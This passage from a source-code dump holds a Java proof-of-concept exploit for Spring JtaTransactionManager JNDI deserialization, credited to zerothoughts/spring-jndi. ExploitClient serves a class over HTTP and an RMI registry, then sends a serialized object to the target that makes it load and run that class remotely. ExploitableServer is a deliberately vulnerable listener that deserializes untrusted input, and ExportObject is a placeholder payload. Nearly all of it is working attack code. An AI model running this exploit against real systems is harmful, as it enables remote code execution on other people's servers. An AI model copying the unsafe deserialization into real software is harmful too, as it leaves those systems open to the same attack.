6 | import com.sun.net.httpserver.*;
7 | import com.sun.jndi.rmi.registry.*;
8 | import javax.naming.*;
9 |
10 | /*
11 | * https://github.com/zerothoughts/spring-jndi
12 | */
13 |
14 | public class ExploitClient {
15 | public static void main(String[] args) {
16 | try {
17 | String serverAddress = args[0];
18 | int port = Integer.parseInt(args[1]);
19 | String localAddress= args[2];
20 |
21 | System.out.println("Starting HTTP server");
22 | HttpServer httpServer = HttpServer.create(new InetSocketAddress(80), 0);
23 | httpServer.createContext("/",new HttpFileHandler());
24 | httpServer.setExecutor(null);
25 | httpServer.start();
26 |
27 | System.out.println("Creating RMI Registry");
28 | Registry registry = LocateRegistry.createRegistry(1099);
29 | Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
30 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
31 | registry.bind("Object", referenceWrapper);
32 |
33 | System.out.println("Connecting to server "+serverAddress+":"+port);
34 | Socket socket=new Socket(serverAddress,port);
35 | System.out.println("Connected to server");
36 | String jndiAddress = "rmi://"+localAddress+":1099/Object";
37 |
38 | org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
39 | object.setUserTransactionName(jndiAddress);
40 |
41 | System.out.println("Sending object to server...");
42 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
43 | objectOutputStream.writeObject(object);
44 | objectOutputStream.flush();
45 | while(true) {
46 | Thread.sleep(1000);
47 | }
48 | } catch(Exception e) {
49 | e.printStackTrace();
50 | }
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/src/spring/ExploitableServer.java:
--------------------------------------------------------------------------------
1 | package spring;
2 |
3 | import java.io.*;
4 | import java.net.*;
5 |
6 | /*
7 | * code from https://github.com/zerothoughts/spring-jndi
8 | */
9 |
10 | public class ExploitableServer {
11 | public static void main(String[] args) {
12 | try {
13 | ServerSocket serverSocket = new ServerSocket(Integer.parseInt(args[0]));
14 | System.out.println("Server started on port "+serverSocket.getLocalPort());
15 | while(true) {
16 | Socket socket=serverSocket.accept();
17 | System.out.println("Connection received from "+socket.getInetAddress());
18 | ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
19 | try {
20 | Object object = objectInputStream.readObject();
21 | System.out.println("Read object "+object);
22 | } catch(Exception e) {
23 | System.out.println("Exception caught while reading object");
24 | e.printStackTrace();
25 | }
26 | }
27 | } catch(Exception e) {
28 | e.printStackTrace();
29 | }
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/src/spring/ExportObject.java:
--------------------------------------------------------------------------------
1 | package spring;
2 |
3 | /*
4 | * https://github.com/zerothoughts/spring-jndi
5 | */
6 |
7 | public class ExportObject {
8 | public ExportObject() {
9 | try {
10 | while(true) {
11 | System.out.println("running injected code...");
12 | Thread.sleep(1000);
13 | }
14 | } catch(Exception e) {
15 | e.printStackTrace();
16 | }
17 | }
18 |
19 | }
20 |
--------------------------------------------------------------------------------
/src/spring/HttpFileHandler.java:
--------------------------------------------------------------------------------
1 | package spring;
2 | import com.sun.net.httpserver.*;
3 | import java.io.*;
4 |
5 | /*
6 | * https://github.com/zerothoughts/spring-jndi
7 | */
8 |
9 | public class HttpFileHandler implements HttpHandler {
10 | public void handle(HttpExchange httpExchange) {
11 | try {
12 | System.out.println("new http request from "+httpExchange.getRemoteAddress()+" "+httpExchange.getRequestURI());
13 | InputStream inputStream = HttpFileHandler.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
14 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
15 | while(inputStream.available()>0) {
16 | byteArrayOutputStream.write(inputStream.read());
17 | }
18 |
19 | byte[] bytes = byteArrayOutputStream.toByteArray();
20 | httpExchange.sendResponseHeaders(200, bytes.length);
21 | httpExchange.getResponseBody().write(bytes);
22 | httpExchange.close();
23 | } catch(Exception e) {
24 | e.printStackTrace();
25 | }
26 | }
27 | }
28 |
--------------------------------------------------------------------------------